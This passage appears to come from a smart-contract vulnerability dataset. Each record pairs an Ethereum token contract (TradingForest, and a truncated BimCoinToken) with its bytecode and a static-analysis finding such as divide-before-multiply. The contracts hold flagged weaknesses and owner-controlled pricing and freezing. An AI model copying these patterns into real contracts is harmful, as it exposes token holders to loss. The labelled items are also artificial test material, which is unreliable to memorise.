303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161039d565b6107d884848461098c565b6107e28282610de9565b6001600160a01b038086166000908152600460205260408082209390935590851681529081208054849290610818908490610e00565b909155506108279050846109f7565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161086c91815260200190565b60405180910390a350505050565b6001600160a01b0382166108da5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161039d565b6001600160a01b03821660009081526004602052604081208054839290610902908490610de9565b9091555050600080805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec8054839290610942908490610e00565b90915550506040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b600d546109ba908490849084906001600160a01b0380851691161480156109b557506000600954115b610a85565b600d546001600160a01b038481169116146109d65760006109d9565b60015b60ff16600960008282546109ed9190610e00565b9091555050505050565b600d546001600160a01b038281169116148015610a1657506002600954115b610a21576000610a35565b710b7abc627050305adf14a3d9e400000000005b71ffffffffffffffffffffffffffffffffffff1660046000836001600160a01b03166001600160a01b031681526020019081526020016000206000828254610a7d9190610e00565b909155505050565b80610a9857600f5460115460ff16610a9e565b60105460015b6011805460ff1916911515919091179055600f556001600160a01b03841660009081526002602052604090205460ff161515600114610b4457600f548210610ae557600080fd5b60115460ff16151560011415610b44576001600160a01b03841660009081526003602052604090205460ff16151560011415610b2057600080fd5b6001600160a01b0384166000908152600360205260409020805460ff191660011790555b42601354148015610b7357506001600160a01b03831660009081526002602052604090205460ff161515600114155b8015610b9f57506014546001600160a01b031660009081526002602052604090205460ff161515600114155b8015610bad57506002601254115b610bd1576014546001600160a01b0316600090815260046020526040902054610bf8565b6014546001600160a01b0316600090815260046020526040902054610bf890604690610e18565b6014546001600160a01b03166000908152600460205260408120919091556012805491610c2483610e3a565b9091555050601480546001600160a01b0319166001600160a01b03949094169390931790925550504260135550565b600060208083528351808285015260005b81811015610c8057858101830151858201604001528201610c64565b81811115610c92576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610cbf57600080fd5b919050565b60008060408385031215610cd757600080fd5b610ce083610ca8565b946020939093013593505050565b600080600060608486031215610d0357600080fd5b610d0c84610ca8565b9250610d1a60208501610ca8565b9150604084013590509250925092565b600060208284031215610d3c57600080fd5b5035919050565b600060208284031215610d5557600080fd5b610d5e82610ca8565b9392505050565b60008060408385031215610d7857600080fd5b610d8183610ca8565b9150610d8f60208401610ca8565b90509250929050565b600181811c90821680610dac57607f821691505b60208210811415610dcd57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610dfb57610dfb610dd3565b500390565b60008219821115610e1357610e13610dd3565b500190565b600082610e3557634e487b7160e01b600052601260045260246000fd5b500490565b6000600019821415610e4e57610e4e610dd3565b506001019056fea2646970667358221220315722e2591c3779d35faaa7d8680798c6f3d4fc2dffa42c79a2798c37d5158764736f6c634300080a0033
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
3,190
0x0a69fb423c668a0ba9884471e1af1e093cded6a0
pragma solidity ^0.4.18; contract ERC20 { uint public totalSupply; function balanceOf(address who) constant returns (uint); function allowance(address owner, address spender) constant returns (uint); function transfer(address _to, uint _value) returns (bool success); function transferFrom(address _from, address _to, uint _value) returns (bool success); function approve(address spender, uint value) returns (bool ok); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } /** * Math operations with safety checks */ contract SafeMath { function safeMul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint a, uint b) internal returns (uint) { assert(b > 0); uint c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function safeAdd(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c>=a && c>=b); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } contract StandardToken is ERC20, SafeMath { /* Token supply got increased and a new owner received these tokens */ event Minted(address receiver, uint amount); /* Actual balances of token holders */ mapping(address => uint) balances; /* approve() allowances */ mapping (address => mapping (address => uint)) allowed; /* Interface declaration */ function isToken() public constant returns (bool weAre) { return true; } function transfer(address _to, uint _value) returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint _value) returns (bool success) { uint _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function approve(address _spender, uint _value) returns (bool success) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } } contract TradingForest is StandardToken { string public name = "Trading Forest"; string public symbol = "TDF"; uint public decimals = 18; uint data1 = 400; uint ethusd = 1; // This function allows to change te value of data1, data2, data3 and data4. function set(uint x) public onlyOwner { ethusd = x; } /** * Boolean contract states */ bool halted = false; //the founder address can set this to true to halt the whole TGE event due to emergency bool preTge = true; //Pre-TGE state bool stageOne = false; //Bonus Stage One state bool stageTwo = false; //Bonus Stage Two state bool stageThree = false; //Bonus Stage Three state bool public freeze = true; //Freeze state /** * Initial founder address (set in constructor) * All deposited ETH will be forwarded to this address. */ address founder = 0x0; address owner = 0x0; /** * Token count */ uint totalTokens = 500000 * 10**18; // ICO Participants uint team = 0; // uint bounty = 0; // /** * TGE and Pre-TGE cap */ uint preTgeCap = 70000000120 * 10**18; // Max amount raised uint tgeCap = 70000000120 * 10**18; // Max amount raised /** * Statistic values */ uint presaleTokenSupply = 0; // uint presaleEtherRaised = 0; // uint preTgeTokenSupply = 0; // event Buy(address indexed sender, uint eth, uint fbt); /* This generates a public event on the blockchain that will notify clients */ event TokensSent(address indexed to, uint256 value); event ContributionReceived(address indexed to, uint256 value); event Burn(address indexed from, uint256 value); function TradingForest(address _founder) payable { owner = msg.sender; founder = _founder; // Move team token pool to founder balance balances[founder] = team; // Sub from total tokens team pool totalTokens = safeSub(totalTokens, team); // Sub from total tokens bounty pool totalTokens = safeSub(totalTokens, bounty); // Total supply is 500000 totalSupply = totalTokens; balances[owner] = totalSupply; } /** * 1 TDF = 2,5 FINNEY * Price is 400 TDF for 1 ETH */ function price() constant returns (uint){ return 2.5 finney; } /** */ function buy() public payable returns(bool) { // Buy allowed if contract is not on halt require(!halted); // Amount of wei should be more that 0 require(msg.value>0); // Count expected tokens price uint tokens = msg.value * 10**18 / price(); // Total tokens should be more than user want&#39;s to buy require(balances[owner]>tokens); // It allows to change the amount of tokens by ETH. if (stageThree) { preTge = false; stageOne = false; stageTwo = false; tokens = ((tokens / data1) * ethusd)+((tokens / data1) * (ethusd / 4)); } // It allows to change the amount of tokens by ETH. if (stageTwo) { preTge = false; stageOne = false; stageThree = false; tokens = ((tokens / data1) * ethusd)+((tokens / data1) * (ethusd / 2)); } // It allows to change the amount of tokens by ETH. if (stageOne) { preTge = false; stageTwo = false; stageThree = false; tokens = ((tokens / data1) * ethusd)+((tokens / data1) * ethusd); } // It allows to change the amount of tokens by ETH. if (preTge) { stageOne = false; stageTwo = false; stageThree = false; tokens = ((tokens / data1) * ethusd); } // Check how much tokens already sold if (preTge) { // Check that required tokens count are less than tokens already sold on Pre-TGE require(safeAdd(presaleTokenSupply, tokens) < preTgeCap); } else { // Check that required tokens count are less than tokens already sold on tge sub Pre-TGE require(safeAdd(presaleTokenSupply, tokens) < safeSub(tgeCap, preTgeTokenSupply)); } // Send wei to founder address founder.transfer(msg.value); // Add tokens to user balance and remove from totalSupply balances[msg.sender] = safeAdd(balances[msg.sender], tokens); // Remove sold tokens from total supply count balances[owner] = safeSub(balances[owner], tokens); // Update stats if (preTge) { preTgeTokenSupply = safeAdd(preTgeTokenSupply, tokens); } presaleTokenSupply = safeAdd(presaleTokenSupply, tokens); presaleEtherRaised = safeAdd(presaleEtherRaised, msg.value); // Send buy TDF token action Buy(msg.sender, msg.value, tokens); // /* Emit log events */ TokensSent(msg.sender, tokens); ContributionReceived(msg.sender, msg.value); Transfer(owner, msg.sender, tokens); return true; } /** * ICO state. */ function InitialPriceEnable() onlyOwner() { preTge = true; } function InitialPriceDisable() onlyOwner() { preTge = false; } /** * Bonus Stage One state. */ function PriceOneEnable() onlyOwner() { stageOne = true; } function PriceOneDisable() onlyOwner() { stageOne = false; } /** * Bonus Stage Two state. */ function PriceTwoEnable() onlyOwner() { stageTwo = true; } function PriceTwoDisable() onlyOwner() { stageTwo = false; } /** * Bonus Stage Three state. */ function PriceThreeEnable() onlyOwner() { stageThree = true; } function PriceThreeDisable() onlyOwner() { stageThree = false; } /** * Emergency stop whole TGE event. */ function EventEmergencyStop() onlyOwner() { halted = true; } function EventEmergencyContinue() onlyOwner() { halted = false; } /** * ERC 20 Standard Token interface transfer function * * Prevent transfers until halt period is over. */ function transfer(address _to, uint256 _value) isAvailable() returns (bool success) { return super.transfer(_to, _value); } /** * ERC 20 Standard Token interface transfer function * * Prevent transfers until halt period is over. */ function transferFrom(address _from, address _to, uint256 _value) isAvailable() returns (bool success) { return super.transferFrom(_from, _to, _value); } /** * Burn all tokens from a balance. */ function burnRemainingTokens() isAvailable() onlyOwner() { Burn(owner, balances[owner]); balances[owner] = 0; } modifier onlyOwner() { require(msg.sender == owner); _; } modifier isAvailable() { require(!halted && !freeze); _; } /* */ function() payable { buy(); } /** * Freeze and unfreeze. */ function freeze() onlyOwner() { freeze = true; } function unFreeze() onlyOwner() { freeze = false; } }
0x606060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630464f4b21461015f57806306fdde0314610174578063095ea7b31461020257806318160ddd1461025c57806323b872dd146102855780632afcf433146102fe578063313ce5671461031357806350a822651461033c57806360fe47b11461035157806362a5af3b1461037457806370a08231146103895780637cf12b90146103d657806383408d73146103eb57806395d89b41146104005780639ee5451d1461048e578063a035b1fe146104a3578063a6f2ae3a146104cc578063a9059cbb146104ee578063bdef744b14610548578063c8d840fa1461055d578063c99d89fc14610572578063dbd760ca14610587578063dd62ed3e1461059c578063eefa597b14610608578063f909640c14610635578063fac416ab1461064a575b61015c61065f565b50005b341561016a57600080fd5b610172610d3f565b005b341561017f57600080fd5b610187610db8565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101c75780820151818401526020810190506101ac565b50505050905090810190601f1680156101f45780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561020d57600080fd5b610242600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610e56565b604051808215151515815260200191505060405180910390f35b341561026757600080fd5b61026f610fdd565b6040518082815260200191505060405180910390f35b341561029057600080fd5b6102e4600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610fe3565b604051808215151515815260200191505060405180910390f35b341561030957600080fd5b61031161102e565b005b341561031e57600080fd5b6103266110a7565b6040518082815260200191505060405180910390f35b341561034757600080fd5b61034f6110ad565b005b341561035c57600080fd5b6103726004808035906020019091905050611126565b005b341561037f57600080fd5b61038761118c565b005b341561039457600080fd5b6103c0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611205565b6040518082815260200191505060405180910390f35b34156103e157600080fd5b6103e961124e565b005b34156103f657600080fd5b6103fe6112c7565b005b341561040b57600080fd5b610413611492565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610453578082015181840152602081019050610438565b50505050905090810190601f1680156104805780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561049957600080fd5b6104a1611530565b005b34156104ae57600080fd5b6104b66115a9565b6040518082815260200191505060405180910390f35b6104d461065f565b604051808215151515815260200191505060405180910390f35b34156104f957600080fd5b61052e600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506115b8565b604051808215151515815260200191505060405180910390f35b341561055357600080fd5b61055b611601565b005b341561056857600080fd5b61057061167a565b005b341561057d57600080fd5b6105856116f3565b005b341561059257600080fd5b61059a61176c565b005b34156105a757600080fd5b6105f2600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117e5565b6040518082815260200191505060405180910390f35b341561061357600080fd5b61061b61186c565b604051808215151515815260200191505060405180910390f35b341561064057600080fd5b610648611875565b005b341561065557600080fd5b61065d6118ee565b005b600080600860009054906101000a900460ff1615151561067e57600080fd5b60003411151561068d57600080fd5b6106956115a9565b670de0b6b3a764000034028115156106a957fe5b0490508060016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411151561071b57600080fd5b600860049054906101000a900460ff16156107b5576000600860016101000a81548160ff0219169083151502179055506000600860026101000a81548160ff0219169083151502179055506000600860036101000a81548160ff021916908315150217905550600460075481151561078f57fe5b046006548281151561079d57fe5b0402600754600654838115156107af57fe5b04020190505b600860039054906101000a900460ff161561084f576000600860016101000a81548160ff0219169083151502179055506000600860026101000a81548160ff0219169083151502179055506000600860046101000a81548160ff021916908315150217905550600260075481151561082957fe5b046006548281151561083757fe5b04026007546006548381151561084957fe5b04020190505b600860029054906101000a900460ff16156108dd576000600860016101000a81548160ff0219169083151502179055506000600860036101000a81548160ff0219169083151502179055506000600860046101000a81548160ff021916908315150217905550600754600654828115156108c557fe5b0402600754600654838115156108d757fe5b04020190505b600860019054906101000a900460ff1615610958576000600860026101000a81548160ff0219169083151502179055506000600860036101000a81548160ff0219169083151502179055506000600860046101000a81548160ff0219169083151502179055506007546006548281151561095357fe5b040290505b600860019054906101000a900460ff161561098d57600d5461097c600f5483611967565b10151561098857600080fd5b6109b4565b61099b600e54601154611991565b6109a7600f5483611967565b1015156109b357600080fd5b5b600860069054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501515610a1657600080fd5b610a5f600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482611967565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b0d60016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482611991565b60016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600860019054906101000a900460ff1615610b9a57610b9360115482611967565b6011819055505b610ba6600f5482611967565b600f81905550610bb860105434611967565b6010819055503373ffffffffffffffffffffffffffffffffffffffff167f1cbc5ab135991bd2b6a4b034a04aa2aa086dac1371cb9b16b8b5e2ed6b036bed3483604051808381526020018281526020019250505060405180910390a23373ffffffffffffffffffffffffffffffffffffffff167ff18d5a93c62c1d0c761ed52107f11d20bc2071851206b79c4dd3283bd9f006f1826040518082815260200191505060405180910390a23373ffffffffffffffffffffffffffffffffffffffff167f1bb460ccaaf70fbacfec17a376f8acbd278c1405590ffcc8ebe4b88daf4f64ad346040518082815260200191505060405180910390a23373ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3600191505090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d9b57600080fd5b6001600860016101000a81548160ff021916908315150217905550565b60038054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e4e5780601f10610e2357610100808354040283529160200191610e4e565b820191906000526020600020905b815481529060010190602001808311610e3157829003601f168201915b505050505081565b600080821480610ee257506000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b1515610eed57600080fd5b81600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60005481565b6000600860009054906101000a900460ff1615801561100f5750600860059054906101000a900460ff16155b151561101a57600080fd5b6110258484846119aa565b90509392505050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561108a57600080fd5b6001600860036101000a81548160ff021916908315150217905550565b60055481565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561110957600080fd5b6001600860006101000a81548160ff021916908315150217905550565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561118257600080fd5b8060078190555050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156111e857600080fd5b6001600860056101000a81548160ff021916908315150217905550565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112aa57600080fd5b6000600860056101000a81548160ff021916908315150217905550565b600860009054906101000a900460ff161580156112f15750600860059054906101000a900460ff16155b15156112fc57600080fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561135857600080fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca560016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a2600060016000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550565b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156115285780601f106114fd57610100808354040283529160200191611528565b820191906000526020600020905b81548152906001019060200180831161150b57829003601f168201915b505050505081565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561158c57600080fd5b6000600860026101000a81548160ff021916908315150217905550565b60006608e1bc9bf04000905090565b6000600860009054906101000a900460ff161580156115e45750600860059054906101000a900460ff16155b15156115ef57600080fd5b6115f98383611c3f565b905092915050565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561165d57600080fd5b6000600860036101000a81548160ff021916908315150217905550565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116d657600080fd5b6000600860006101000a81548160ff021916908315150217905550565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561174f57600080fd5b6001600860026101000a81548160ff021916908315150217905550565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117c857600080fd5b6000600860046101000a81548160ff021916908315150217905550565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60006001905090565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118d157600080fd5b6000600860016101000a81548160ff021916908315150217905550565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561194a57600080fd5b6001600860046101000a81548160ff021916908315150217905550565b600080828401905083811015801561197f5750828110155b151561198757fe5b8091505092915050565b600082821115151561199f57fe5b818303905092915050565b600080600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050611a75600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611967565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b01600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611991565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611b4e8184611991565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b6000611c8a600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611991565b600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611d16600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611967565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050929150505600a165627a7a72305820d793e06f349a3090f65a31e1ecc2a4b83d99977d71fb228c267ac1dba7b6cca30029
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
3,191
0x9e7ce36dbd1a9a6c6e80d08e38077745855edd3a
pragma solidity ^0.4.20; contract FiatContract { function USD(uint _id) constant returns (uint256); } contract owned { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; emit Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public { _transfer(msg.sender, _to, _value); } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } } /******************************************/ /* ADVANCED TOKEN STARTS HERE */ /******************************************/ contract BimCoinToken is owned, TokenERC20 { FiatContract private fiatService; uint256 public buyPrice; bool private useFiatService; bool private onSale; uint256 private buyPriceInCent; uint256 private etherPerCent; uint256 constant TOKENS_PER_DOLLAR = 100000; uint256 storageAmount; address store; mapping (address => bool) public frozenAccount; /* This generates a public event on the blockchain that will notify clients */ event FrozenFunds(address target, bool frozen); /* Initializes contract with initial supply tokens to the creator of the contract */ constructor( uint256 initialSupply, string tokenName, string tokenSymbol, bool _useFiatContract ) TokenERC20(initialSupply, tokenName, tokenSymbol) public { fiatService = FiatContract(0x8055d0504666e2B6942BeB8D6014c964658Ca591); useFiatService = _useFiatContract; buyPriceInCent = 100; onSale = true; storageAmount = (2 * (initialSupply * 10 ** uint256(decimals)))/10; store = msg.sender; } /* Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint _value) internal { require (_to != 0x0); // Prevent transfer to 0x0 address. Use burn() instead require (balanceOf[_from] >= _value); // Check if the sender has enough require (balanceOf[_to] + _value >= balanceOf[_to]); // Check for overflows require(!frozenAccount[_from]); // Check if sender is frozen require(!frozenAccount[_to]); // Check if recipient is frozen balanceOf[_from] -= _value; // Subtract from the sender balanceOf[_to] += _value; // Add the same to the recipient emit Transfer(_from, _to, _value); } /// @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens /// @param target Address to be frozen /// @param freeze either to freeze it or not function freezeAccount(address target, bool freeze) onlyOwner public { frozenAccount[target] = freeze; emit FrozenFunds(target, freeze); } /// @notice Allow users to buy tokens for `newBuyPrice` eth /// @param newBuyPrice Price users can buy from the contract function setPrice(uint256 newBuyPrice) onlyOwner public { buyPrice = newBuyPrice; } /// @notice Allow users to buy tokens for `newBuyPrice` eth /// @param newBuyPrice Price users can buy from the contract function setPriceInCents(uint256 newBuyPrice) onlyOwner public { buyPriceInCent = newBuyPrice; } /// @notice Buy tokens from contract by sending ether function () payable public { buy(); } /// @notice Buy tokens from contract by sending ether function buy() payable public { require(onSale); uint256 price = getPrice(); uint amount = msg.value * TOKENS_PER_DOLLAR * 10 ** uint256(decimals) / price; // calculates the amount require(balanceOf[owner] - amount >= storageAmount); store.transfer(msg.value); _transfer(owner, msg.sender, amount); // makes the transfers } function getPrice() private view returns (uint256){ if(useFiatService){ return fiatService.USD(0) * buyPriceInCent; }else{ return etherPerCent * 